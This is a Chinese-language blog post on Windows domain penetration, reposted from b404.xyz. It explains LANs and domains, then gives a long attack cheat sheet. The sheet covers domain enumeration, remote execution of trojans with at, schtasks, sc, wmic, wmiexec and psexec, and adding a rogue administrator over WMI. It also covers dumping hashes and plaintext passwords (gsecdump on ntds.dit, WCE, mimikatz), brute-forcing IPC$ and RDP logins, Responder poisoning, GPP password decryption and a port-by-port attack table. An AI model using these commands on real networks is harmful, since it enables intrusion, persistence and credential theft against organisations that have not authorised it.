域渗透总结

内网和域

内网

局域网(Local Area Network,LAN)是指在某一区域内由多台计算机互联成的计算机组。一般是方圆几千米以内。局域网可以实现文件管理、应用软件共享、打印机共享、工作组内的日程安排、电子邮件和传真通信服务等功能。局域网是封闭型的,可以由办公室内的两台计算机组成,也可以由一个公司内的上千台计算机组成。

域(Domain)是相对工作组(Workgroup)的概念,形象的说,域就像中央集权,由一台或数台域控制器(Domain Controller)管理域内的其他计算机;工作组就像各自为政,组内每一台计算机自己管理自己,他人无法干涉。

域是一个计算机群体的组合,是一个相对严格的组织,而域控制器则是这个域内的管理核心。

域控制器可以对域内计算机进行集中管理,比如在域控制器上可以定义所有用户不能更改桌面,或者所有用户的密码长度必须8位以上,而工作组环境的计算机则无法做到这些。

一般情况下,域控制器集成了DNS服务,可以解析域内的计算机名称(基于TCP/IP),解决了工作组环境不同网段计算机不能使用计算机名互访的问题。

  • 域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后, 2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。    – 域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域的安全信任关系。 – 域:域是一种管理边界,用于一组计算机共享共用的安全数据库,域实际上就是一组服务器和工作站的集合。

域和域之间可以通过VPN等设备进行连接,并建立从属和平行的域关系

域、工作组、家庭组

工作组:

  • 所有的计算机都是对等的,没有计算机可以控制另一台计算机。每台计算机都具有一组用户帐户。若要登录到工作组中的任何计算机,您必须具有该计算机上的帐户。
  • 通常情况下,计算机的数量不超过二十台。
  • 工作组不受密码保护。
  • 所有的计算机必须在同一本地网络或子网中。

家庭组:

  • 家庭网络中的计算机必须属于某个工作组,但它们也可以属于某个家庭组。使用家庭组,可轻松与家庭网络中的其他人共享图片、音乐、视频、文档和打印机。
  • 家庭组受密码保护,但在将计算机添加到家庭组时,只需要键入一次密码即可。

域:

  • 有一台或多台计算机为服务器。网络管理员使用服务器控制域中所有计算机的安全和权限。这使得更容易进行更改,因为更改会自动应用到所有的计算机。域用户在每次访问域时必须提供密码或其他凭据。
  • 如果具有域上的用户帐户,您就可以登录到域中的任何计算机,而无需具有该计算机上的帐户。 由于网络管理员经常要确保计算机之间的一致性,所以,您也许只能对计算机的设置进行有限制地更改。
  • 一个域中可以有几千台计算机。
  • 计算机可以位于不同的本地网络中。

域渗透

若直线攻击难以奏效,可以进行迂回进攻,从网络为突破,以受限用户权限开始,分析网络结构,制定对应的攻击方案,获取目标的域管理账户,逐步掌控整个网络。

命令

参见:内网渗透命令大全:https://www.t00ls.net/articles-39285.html

Net基本命令

命令 说明
echo %PROCESSOR_ARCHITECTURE% 查看系统版本位数
set 查看系统环境变量
netstat -ano 查看开放的端口
`netstat -an find "3389"`
ipconfig /all 查询本机IP段,所在域等
net config Workstation 当前计算机名,全名,用户名,系统版本,工作站域,登陆域
net user 本机用户列表
net localhroup administrators 本机管理员[通常含有域用户]
net user /domain 查询域用户
net user 用户名 /domain 获取指定用户的账户信息
net user /domain b404 pass 修改域内用户密码,需要管理员权限
net group /domain 查询域里面的工作组
net group 组名 /domain 查询域中的某工作组
net group "domain admins" /domain 查询域管理员列表
net group "enterprise admins" /domain 获得企业管理员列表
net group 组名 /del /domain 删除域中的某组
net group 组名 组成员名 /del /domain 删除域中的某组的组成员
net localgroup administrators /domain 登录本机的域管理员
net group 组名 /add 增加域中的组
net localgroup administrators workgroup\user001 /add 域用户添加到本机
net group "domain controllers" /domain 查看域控制器(如果有多台)
net time /domain 判断主域,主域服务器都做时间服务器
net config workstation 当前登录域
net session 查看当前会话
net use \\ip\ipc$ pawword /user:username@domain 建立IPC会话[空连接-***]
net view \\ip 查询某IP共享
net use z: \\192.168.200.21\文件夹名 建立映射到本机Z盘
net share 查看SMB指向的路径[即共享]
at \\192.168.200.21:50 c:\windows\fuxk.exe 在共享主机上执行
net view 查询同一域内机器列表
net view /domain 查询域列表
net view /domain:test 查看test域中计算机列表
net view \\DC的机器名字 查看域控共享情况
nltest /domain_trusts 获取域信任信息
net session 查看当前会话
net start 查看当前运行的服务
net time /domain 查询主域服务器的时间
net time \\192.168.200.21 查看192.168.200.21机器的时间
echo %logonserver% 查看登陆到这台服务器的计算机
net accounts 查看本地密码策略
net accounts /domain 查看域密码策略
nbtstat –A ip netbios 查询
netstat –an/ano/anb 网络连接查询
netsh firewall show config 查看防火墙策略
netsh firewall show state 查看防火墙策略
route print 路由表
tracert IP 路由跟踪
arp -a 列出本网段内所有活跃的IP地址
arp -s (ip + mac) 绑定mac和IP
arp -d (iP + mac) 解绑IP和Mac
tasklist /V 查看进程[显示对应用户]
tasklist /S ip /U domain\username /P /V 查看远程计算机进程列表
psexec \\192.168.200.21 -u administrator -p b404pass -c gsecdump.exe -u 从域服务器密码存储文件windows/ntds/ntds.dit导出hash值出来
gsecdump -a 获取域登管理员登录过得hash值,这里gescdump为第三方导出AD域的hash值
tasklist /S IP地址 /U 域名\用户名 /P /V 查看远程计算机进程
tasklist /svc 查看进程
taskkill /im 进程名称(cmd.exe) 结束进程
taskkill /pid[进程码] -t(结束该进程) -f(强制结束该进程以及所有子进程)
ping 主机名 显示IP
qprocess * 类似tasklist
qprocess /SERVER:IP 远程查看计算机进程列表
nslookup –qt-MX Yahoo.com 查看邮件服务器
whoami /all 查询当前用户权限等
set 查看系统环境变量
systeminfo 查看系统信息
qwinsta 查看登录情况
qwinsta /SERVER:IP 查看远程登录情况
fsutil fsinfo drives 查看所有盘符
gpupdate /force 更新域策略
whoami 查询账号所属权限
whoami /all 查看sid号
wmic bios 查看bios信息
wmic qfe 查看补丁信息
wmic qfe get hotfixid 查看补丁-Patch号,很实用
wmic qfe list full /format:htable > hotfixes.htm 详细的补丁安装
wmic share get name,path 查看SMB指向路径
wmic startup 查看启动项
wmic service 查看服务
wmic os 查看OS信息
wmic service list brief 查看进程服务
wmic process list brief 查看进程
wmic startup list brief 启动程序信息
wmic product list brief 查看安装程序和版本信息(漏洞利用线索)
wmic startup list full 识别开机启动的程序
wmic process where(description="mysqld.exe")>>mysql.log 获取软件安装路径
dir \\DC\SYSVOL /s /a > sysvol.txt 列出sysvol日志记录
xcopy \\dc2.b404.com\sysvol.txt sysvol.txt /i /e /c 拷贝sysvol.txt到本地
REG query HKCU /v "pwd" /s 获取到存到注册表中的密码
dir /b/s config.* 查看所在目录所有前缀为config的文件
findstr /si password *.xml *.ini *.txt 查看后缀名文件中含有password关键字的文件
findstr /si login *.xml *.ini *.txt 查看后缀名文件中含有login关键字的文件
copy con ftp.bat 创建ftp.bat批处理,然后输入ifconfig等命令,按ctr+z退出,并创建成功
copy con test.vbs 创建test.vbs脚本,输入脚本后,按ctr+z退出,并创建成功

dsquery的AD查询工具

命令 说明
dsquery user domainroot -limit 65535 && net user /domain 列出该域内所有用户名
`dsquery server -domain super.com dsget server -dnsname -site`
dsquery contact 寻找目录中的联系人
dsquery subnet 列出该域内网段划分
query user 查询那些用户在线
dsquery group && net group /domain 列出该域内分组
dsquery ou 列出该域内组织单位
dsquery server && net time /domain 列出该域内域控制器
dsquery site -o rdn 搜索域中所有站点的名称
`dsquery group dc=super,dc=com more`
psloggedon.exe 查询那台主机和用户登录到该主机上
netsess.exe //192.168.1.115 远程主机上无需管理员权限,查询到主机名和用户
reg query "HKEY_CURRENT_USER\SOFTWARE\MICROSOFT\TERMINAL SERVERCLIENT\DEFAULT" 获取最近mstsc登录的记录

DOS常用命令

命令 说明
mspaint 画图工具
calc 计算器
notepad 记事本
taskmgr 任务管理器
osk 打开屏幕键盘
gpedit.msc 组策略
services.msc 本地服务
compmgmt.msc 计算机管理
devmgmt.msc 设备管理器
winver 查看系统版本
magnify 放大镜实用程序
eventvwr 事件查看器
Regedit 打开注册表
resmon 资源监视器
WMIC BIOS get releasedate 查看电脑生产日期
mstsc -f 远程连接(可以全屏)

长命令

一键获取WiFI密码:**

1
for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan showprofiles') do @echo%j | findstr -i -v echo | netsh wlan show profiles %jkey=clear

查看是否支持PowerShell:

1
if defined PSModulePath (echo support powershell) else (echo not support powershell)

添加任务计划:

1
schtasks.exe  /Create /RU"SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "c:/muma.ex    e" /ED 2017/12/31

nbtscan扫描整个网络:

1
nbtscan -r 192.168.200.0/24

ping 扫描内网存活主机:

1
for /l %i in (1,1,255) do @ping 192.168.200.%i -w 1 -n 1 | find /i"ttl"

域机器对应的IP:

1
FOR /F "eol=- tokens=1 delims=\ " %a IN('net view') DO @(echo name: %a, ip: & ping %a -w 1 -n 1 | find /i "ttl" & echo.)

找主机名:

1
for /l %i in (1,1,255) do @ping -a 192.168.200.%i -w 1 -n 1 | find /i "Pinging"

找B段:

1
for /l %i in (1,1,255) do @ping -a 10.0.%i.1 -w 1 -n 1 | find /i "Pinging"

Pinging改成Ping就可以适用于Win7

远程命令执行

at(系统权限)

利用计划任务at命令,常用的方法(系统权限):

1
2
3
4
5
net time

at \\127.0.0.1 23:00 c:\winnt\system32/viliosn.exe

at \\127.0.0.1 1 delete /yes #删除本机1号任务

schtasks(用户权限和系统权限都可以)

1
2
3
4
5
schtasks /create /tn asp_net /tr "c:\windows\system32\cmd.exe /c cmd" /sc once /st 00:00 /S ip /RU System /u user /p password

schtasks /run /tn asp_net /S ip /u user /p password

schtasks /F /delete /tn asp_net /S ip /u user /p password

sc

系统权限的sc用法

利用服务工具,指定用户权限启动

192.130.16.22上创建一个xxoox的服务,程序执行命令为cmd.exe /c start c:\programdata\a+.bat

1
sc \\192.130.16.22 create xxoox binPath= "cmd.exe /c start c:\programdata\a+.bat"

执行xxoox的服务,执行成功可能会提示错误1053,不宜作为启动项,一般用用户权限也是临时的:

1
2
3
sc \\192.130.16.22 start xxoox

sc \\192.130.16.22 delete xxoox
指定用户权限启动的用法

192.130.16.22上指定administrator账户创建一个adminsec服务:

1
2
3
sc \\192.130.16.22 create adminsec binpath = “c:\pass.exe” obj= “adminsec\administrator” passwrod= adminsec

sc \\192.130.16.22 start adminsec

wmic

WMI 的全称是 Windows Management Instrumentation,它出现在所有的 Windows 操作系统中,由一组强大的工具集合组成,用于1. 管理本地或远程的 Windows 系统。当攻击者使用wmiexec来进行攻击时,Windows系统默认不会在日志中记录这些操作,这意味着可以做到攻击无日志,同时攻击脚本无需写入到磁盘,具有极高的隐蔽性。越来越多的APT事件中也出现了WMI攻击的影子,利用WMI可以进行信息收集、探测、反病毒、虚拟机检测、命令执行、权限持久化等操作。(奇淫技巧可见wmi shell)

常见的WMI攻击工具:

  • PTH-WMIS (最早wmi攻击的工具,单条命令执行,无回显,需要pth-smbget配合读取结果)
  • impackets wmiexec(Linux跨window经常用)
  • wmiexec.vbs (国人制造 为了回显会写文件)
  • Invoke-WmiCommand&Invoke-PowerShellWmi
1
2
3
4
5
6
7
8
9
#在远程系统上执行 bat 脚本
wmic /node:192.168.17.138 /user:test /password:!@#123QWE process call create c:\programdata\test.bat

###在远程系统上执行单条命令
wmic /node:192.168.17.138 /user:test /password:!@#123QWE process call create "cmd.exe /c net user test1 !@#123QWE /add && net localgroup administrators test1 /add

#在远程系统上运行exe文件
C:\Users\DC>wmic /node:192.168.200.20 /user:web\administrator /password:Web12345
process call create "cmd.exe /c calc.exe"

工具说明:

  1. 需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
  2. 远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
  3. wmic 会以管理员权限在远程系统上执行命令
  4. 防火墙开启将无法连接
  5. 如果报错 “Invalid Global Switch” ,用双引号把包含-的结点括起来即可正常执行。

img

wmiexec

WMI 可以远程执行命令,大牛使用VBS脚本调用WMI来模拟 psexec 的功能,于是乎 WMIEXEC 就诞生了。基本上psexec 能用的地方,这个脚本也能够使用。

常用命令:

1
2
3
4
5
6
###获取半交互式shell
cscript.exe //nologo wmiexec.vbs /shell 192.168.17.138 test !@#123QWE
###在远程系统上执行单条命令
cscript.exe wmiexec.vbs /cmd 192.168.17.138 test !@#123QWE "cmdkey /list"
###在远程系统上执行 bat 脚本
cscript.exe wmiexec.vbs /cmd 192.168.17.138 test !@#123QWE c:\programdata\test.bat

其它参数:

  • -wait5000 表示这个命令等待5s后再读取结果,用于运行“运行时间长”的命令。
  • -persist 程序会在后台运行,不会有结果输出,而且会返回这个命令进程的 PID,方便结束进程,用于运行 nc 或者木马程序。

下面这段代码在脚本的一开始,是控制结果文件路径、文件名、以及默认代码执行时间的,可以自行更改。

1
2
3
Const Path = "C:\" 
Const FileName = "wmi.dll"
Const timeOut = 1200

工具说明:

  • 需要远程系统启动 Windows Management Instrumentation 服务,开放135端口
  • 远程系统的本地安全策略的“网络访问: 本地帐户的共享和安全模式”应设为“经典-本地用户以自己的身份验证”
  • wmicexec.vbs 会以管理员权限在远程系统上执行命令
  • virustotal 显示 wmiexec.vbs 会被 Kaspersky、Symantec 和 ZoneAlarm 查杀。

impackets wmiexec

使用impackets wmiexec执行命令测试,执行命令可以回显。在Linux跨window渗透时候经常使用。

1
2
#登陆远程机器
python wmiexec.py administrator:Web12345@192.168.63.150

img

psexec

常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
###获取管理员用户权限的交互式 shell
psexec \\192.168.17.138 -u Administrator -p !@#123QWE cmd

###获取普通用户权限的交互式 shell,原因参见 LocalAccountTokenFilterPolicy,要想获取管理员权限 shell ,需要添加 -h 参数。
psexec \\192.168.17.138 -u test -p !@#123QWE cmd

###在远程系统上以 system 权限执行单条命令,有时回显只有一行,原因尚不清楚。
psexec \\192.168.17.138 -u Administrator -p !@#123QWE -s cmd /c "quser"

###在远程系统上执行 bat 脚本
psexec \\192.168.17.138 -u Administrator -p !@#123QWE c:\programdata\test.bat

###拷贝文件到远程机器并以交互方式运行,运行结束后会删除
psexec \\192.168.17.138 -c C:\Users\test\Desktop\GetHashes.exe

其它参数

1
2
3
4
5
–accepteula 第一次运行会弹框,输入这个参数便不会弹框
-s 以 “nt authority\system” 权限运行远程进程
-h 如果可以,以管理员权限运行远程进程
-d 不等待程序执行完就返回,请只对非交互式应用程序使用此选项
\\ip 可以替换成 @ip.txt (存放多个 ip 的文本),可以批量执行命令

工具说明

  • 需要远程系统开启 ADMIN$ 共享
  • 建立 ipc 连接后可以不指定用户名和密码
  • 不能仅拷贝文件不执行,只需要拷贝时可以建立 ipc 连接后c opy
  • 在启动psExec建立连接之后,远程系统上会被安装一个服务:PSEXESVC。安装服务会留下日志,而且psexec退出时有可能服务删除失败,所以不推荐使用 psexec。

PsRemoting

PowerShell远程命令执行基于WinRM。WinRM指的是Windows远程管理服务,它会监听HTTP(5985)、HTTPS(5986),不过此服务除了Windows Server 2012及R2默认启用外,其他默认都是禁用的。管理员为了方便对服务器的远程管理,也许将此端口开启,这种事就像内网弱口令一样,做渗透嘛,什么奇迹都有可能发生。

利用PowerShell渗透可以绕过杀软、绕过白名单防护设备,并且还可以得到返回的数据,简直是杀人越货神器。默认禁用PS。

1
2
3
4
5
6
#先开启执行策略
set-executionpolicy unrestricted
#在目标机器上开启ps远程功能
enable-psremoting
#开启远程连接
Enter-PSSession 192.168.200.20 -Credential administrator

img

定位

  • 收集域以及域内用户信息
  • 收集域内域控制器信息
  • 收集域控上域用户登录日志信息
  • 收集域内所有用户名以及全名、备注等信息
  • 收集域内工作组信息
  • 收集域管理员帐号信息
  • 收集域内网段划分信息
  • 收集域内组织单位信息

服务器(机器)定位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
不管是做外网还是内网,信息收集都是很有必要的第一步,当我们控下一台机器的时候,内网是个什么结构?这台机器是一个什么角色?使用机器的人是一个什么角色?上面装的什么杀毒?机器是怎么上网的?机器是笔记本,还是台式机?等等等等。。。

ipconfig /all
//用来查看当前机器的网络环境,判断是工作组,还是域环境.网段是怎么划分的,每个段有多少台机器,DNS服务器IP是多少。

net view
//用来查看跟本机有关联的机器名.注意,是跟本机有关联的机器,而不是一个段的机器.

net view /domain
//用来查看当前网络环境存在几个域.

net view /domain:xxxx
//查看xxx域中存在的跟本机有关联的机器.

net group "domain admins" /domain
//查看域内管理员.

net user /domain
//查看域内的用户名.

net group "domain computers" /domain
//查看域内所有机器名.

net time /domain
//查看域时间及域服务器的名字

Nslookup -type=SRV _ldap._tcp.
//查询DNS

netstat
//查看连接信息.

net group "Domain Controllers" /domain
//查找域控

nbtstat
//由IP地址得到机器名

上面我们已经得到了一些内网信息,现在我们就需要好好分析一下了.

1、分析出内部网络是怎么划分的.是按照部门划分的网络段,还是按照楼层,还是按照地区划分.

2、分析出内部网络机器名的命名规则.特别是个人机,这对选取有价值目标很重要.不过有些内网是采用的无规则命名法,这也是正常的.但是一般还是有规律的.

3、分析出内部网络重要人的电脑名.这些重要人物一般在对外网站上都会有一些介绍的.再根据机器命名规则,就可以大概分析得出这些机器.这里要注意,有些人有多个电脑哦.还有些人用的是笔记本的.

4、分析域结构,有些内部网络是多层域结构,而且还是多级域结构,这样,我们就需要先分析出,现在这电脑所在域是几级子域,这个子域域控以及根域域控是哪些,还有其他域的域控是哪些.一般域控命名都有DC字样.

文件定位

服务器定位总结出文件定位的大致思路:

  • 定位人力资源主管个人机
  • 定位人力资源相关文档存放位置
  • 从人力资源文档中找相关人
  • 定位相关人的机器
  • 监视相关人工作时存放文档的位置
  • 列出存放文档服务器的目录

文件定位需要注意的点:

  • 产品名称
  • 内部名称
  • 项目负责人
  • 项目团队
  • 生产部(分公司,工厂,代工厂)

经验:

  • FTP
  • SMB
  • DC\NETLOGON\
  • 产品管理系统(仓库管理系统)
  • 各种数据库
  • 其他服务器(分公司,工厂,代工厂)

定位文件服务器请参考上一节定位服务器(机器),定位到文件服务器和某个人,对于文件定位来说应该会事半功倍。这里就不过多叙述了。

管理员定位

0x01工具:

  • psloggedon.exe:通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器,同样也调用到了NetSessionEnum API。某些功能需要管理员权限

  • netsess.exe:调用NetSessionEnum API,并且在远程主机上无需管理员权限。

  • PVEFindADUser.exe:用于枚举域用户以及登陆过特定系统的用户,需要管理员权限

  • netview.exe:使用WinAPI枚举系统,利用NetSessionEnum来找寻登陆sessions,利用NetShareEnum来找寻共享 , 利用 NetWkstaUserEnum 来枚举登陆的用户。它也能查询共享入口和有价值用户,还能使用延迟和抖动。绝大部分功能不需要管理员权限。

  • hunter:hunter是一款利用 Windows API 调用来枚举跳板机上的用户登录信息的工具

  • Nmap的NSE脚本

    :如果你有域账户或者本地账户,你可以使用Nmap的smb-enum-sessions.nse 引擎来获取远程机器的登录session,并且不需要管理员权限

    • smb-enum-domains.nse对域控制器进行信息收集扫描,可以获取主机信息,用户,密码策略可以用的用户等
    • smb-enum-users.nse在进行域渗透的时候,有了域内某台主机的权限,但是权限有限,不能获取更多的域用户信息的时候,可以借助这个脚本对域控制器进行扫描
    • smb-enum-shares.nse遍历远程主机的共享目录
    • smb-enum-processes.nse通过smb对主机的系统进程进行遍历,通过这些信息,可以知道目标主机上运行软件信息,选择合适的漏洞或者规避防火墙以及杀毒软件。
    • smb-enum-sessions.nse通过smb获取域内主机的用户登录session,查看当前是否有用户登录,对于我们抓取用户hash以及避免同时登陆被用户发现。
    • smb-os-discovery.nse通过smb协议来收集目标主机的操作系统,计算机名,域名,全称域名,域林名称,NetBIOS机器名,NetBIOS域名,工作组,系统时间。

0x02 Active Directory:

通过AD信息来识别一些连接到服务器的用户:

0x03PowerShell:

针对windows机器,可以考虑用wmi脚本和powershell脚本进行扫描,低频扫描可以很容易的绕过IDS的规则。PowerShell有很多方法Windows Api并且绕过白名单:

0x04 查找域管理进程:


进攻

1、内网WEB渗透.内网的WEB,一般情况下是比较容易搞下的,毕竟不像放在公共网络上.有那么大的风险,相对的,管理也就松散一些了.而且,内网的一些服务器是做测试用的,至于哪些服务器是做什么用的,可以通过判断机器名来分析,机器名的命名大多是有规律的.这跟国家风俗有一些习惯,但是也有公司采用无规则命令法,这就很蛋疼.

2、内网SQL.内网的SQL一般是特别有用的.因为一般域结构的内网,都会比较看重权限.那么一般WEB上都会有登陆验证,这些验证SQL就特别有用了,拿下来,对应人跟机器,后面,你懂的.

3、抓HASH,弱口令匹配内网机器。一般内网的机器弱口令还是存在的。分析一些内部的常用密码,然后再自己组合一些密码,再用工具去匹配,一般还是有收获的。以前有些HASH还破解不出来,还得依靠HASH注入这些技术,现在有了新东西mimikatz,可以抓取内存的密码,还是直接明文的。容易多了。

4、内网进攻常用命令整理:

1
2
3
4
5
6
7
net use \\IP\ipc$ password /user:username@domain(IPC对方)

net use \\ip\ipc$ "pwd" /user:ip\username@domain (解决IPC时遇到权限问题)

net time \\IP

at \\IP

取得合法身份前的攻击

认证

攻击Windows常攻击Windows的文件和打印共享服务,这项服务运行在SMB(服务器消息块)上,尝试远程共享加载:试着连接一个共享卷(比如IPC$或C$共享卷):

1
net use \\192.168.200.21\IPC$ * \u:用户名

*表示手动输入密码

也可以使用FOR语句来爆破密码,将tokent.txt的第一个字串赋值给%i(密码),将第二个字串赋值给%j(用户名)

1
FOR /F "tokens=1,2*" %i in (token.txt) do net use \\192.168.200.21\IPC$ %i /u:%j

img

也可以使用以下工具进行口令猜测:

用enum爆破:

1
C:\Users\win2k8\Desktop>enum.exe -D -u Administrator -f credentials.txt 192.168.200.21

有时候也可以直接爆破远程桌面服务。

TSGrinder爆破RDP:

1
C:\Users\win2k8\Desktop\tsgrinder-2.03>echo Admin 1>a  & tsgrinder.exe -w a -u Administrator -n 1 192.168.200.21 1>out

该工具主要针对于XP和2003,当用在win7的时候,需要将注册表HKEY_CURRENT_USER\Software\Microsoft\Windows\Windows Error Reporting\Dont Show UI设为1.

kali下的rdesktop爆破:

1
rdesktop -u Administrator -p token.txt 10.10.10.150

扫描

0x01 nbtscan: 使用nbtscan扫描:

1
2
3
nbtstat -m 192.168.200.21

nbtscan 192.168.200.0/24

img

SHARING 表示开放来共享, DC 表示可能是域控,或者是辅助域控U=user猜测此计算机登陆名 IIS 表示运行来web80 EXCHANGE Microsoft Exchange服务 NOTES Lotus Notes服务

0x02:WinScanX:

WinScanX 需要登录账号能够获取目标很详细的内容。其中还有snmp获取,windows密码猜解(但是容易被杀,nishang中也实现出一个类似的信息获取/Gather/Get-Information.ps1)

端口
端口号 端口说明 攻击技巧
21/22/69 ftp / tftp:文件传输协议 爆破\嗅探\溢出\后门
22 ssh:远程连接 爆破OpenSSH; 28个退格
23 telnet:远程连接 爆破\嗅探
25 smtp:邮件服务 邮件伪造
53 DNS:域名解析系统 DNS域名传输\ DNS劫持\ DNS缓存投毒\ DNS欺骗\利用DNS隧道技术刺透防火墙
67/68 dhcp 劫持\欺骗
110 pop3 爆破
139 samba 爆破\未授权访问\远程代码执行
143 imap 爆破
161 snmp 爆破
389 ldap 注入攻击\未授权访问
512/513/514 linux r 直接使用rlogin
873 rsync 未授权访问
1080 socket 爆破:进行内网渗透
1352 lotus 爆破:弱口令\信息泄漏:源代码
1433 mssql 爆破:使用系统用户登录\注入攻击
1521 oracle 爆破:TNS \注入攻击
2049 nfs 配置不当
2181 zookeeper 未授权访问
3306 mysql 爆破\拒绝服务\注入
3389 rdp 爆破\ Shift后门
4848 glassfish 爆破:控制台弱口令\认证绕过
5000 sybase / DB2 爆破\注入
5432 postgresql 缓冲区溢出\注入攻击\爆破:弱口令
5632 pcanywhere 拒绝服务\代码执行
5900 vnc 爆破:弱口令\认证绕过
6379 redis 未授权访问\爆破:弱口令
7001 weblogic Java反序列化\控制台弱口令\控制台部署webshell
80/443/8080 web 常见web攻击\控制台爆破\对应服务器版本漏洞
8069 zabbix 远程命令执行
9090 websphere控制台 爆破:控制台弱口令\ Java反序列
9200/9300 elasticsearch 远程代码执行
11211 memcacache 未授权访问
27017 mongodb 爆破\未授权访问

凭据

没有登录凭据的时候,可以破解对方的WPAv2个人Wifi密码,或者从某台不受域管理的主机下手。

Responder

Responder可以在一无所知的情况下取得最初的登陆凭据,其能率先监听、响应LLMNR协议(本地链路多播名称解析协议)和NBT-NS协议,其也可以利用WPAD(Web Proxy Auto-Discovery)漏洞(也就是浏览器设置为自动检测的设置,受害者会从网络获取配置文件)

img

该情况,与受害人主机处于同一个网络里的攻击人员,能够回复受害主机发出的名称解析请求,并注入自己的PAC文件,代理所有WEB流量。这种攻击方式能强制浏览器用户对攻击人员的SMB服务器进行验证。若受害者在我们的SMB服务器上进行身份验证,就能够获取这个主机的NTLM算法的哈希响应值,而受害者没有任何察觉,若该用户进行过域验证,那么它就会使用缓存中的登陆凭据对服务器进行验证。

1
python Responder.py -i 10.10.10.149 -I eth0 -b Off -r Off -w On

收到WPAD请求的时候发送恶意响应。

组策略首选项

GPP的全名是组策略首选项,是为了满足管理活动目录的需要存在的,GPP的操作对象是组策略对象(GPO),在所有计算机上更新密码或者指定新的管理员,就会使用这个机制更新。GPP发布的账号信息全部存储在\\[Domain Controller]\SYSVOL\[Ddomain]\Policies中。可以在该文件夹找到一个名为Groups.xml的文件。若能找到该文件,就可以在Groups.xml文件找到cpassword的哈希值。然后使用gpprefdecrypt.py解密GPP中本地管理员账户的密码,或者使用msf中的post/windows/gather/credentials/gpp获取本地管理员账号。

抓HASH

Get-PassHashes.ps1

脚本在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了。

1
2
3
4
5
PS C:\Users\Tim\Desktop\nishang-master> Set-ExecutionPolicy remotesigned

PS C:\Users\Tim\Desktop\nishang-master> Import-Module .\nishang.psm1

PS C:\Users\Tim\Desktop\nishang-master> Get-PassHashes
WCE

WCE能够列出Windows中的登陆会话、增加、修改、查询和删除相关凭据(LM/NT哈希值,Kerberos票据,明文密码)。

wce -l列出已登陆的会话和NTLM凭据,wce -w用于复制存储在认证摘要信息中的明文密码。只要有管理员权限就可以抓取密码,无需破解hash值。

img

Minikatz

Mimikatz可从LSASS中恢复明文密码。

img


Refer


Similar Posts

转自: http://b404.xyz/2017/12/30/exploit-domain/#%E5%86%85%E7%BD%91%E5%92%8C%E5%9F%9F

-------------本文结束感谢您的阅读-------------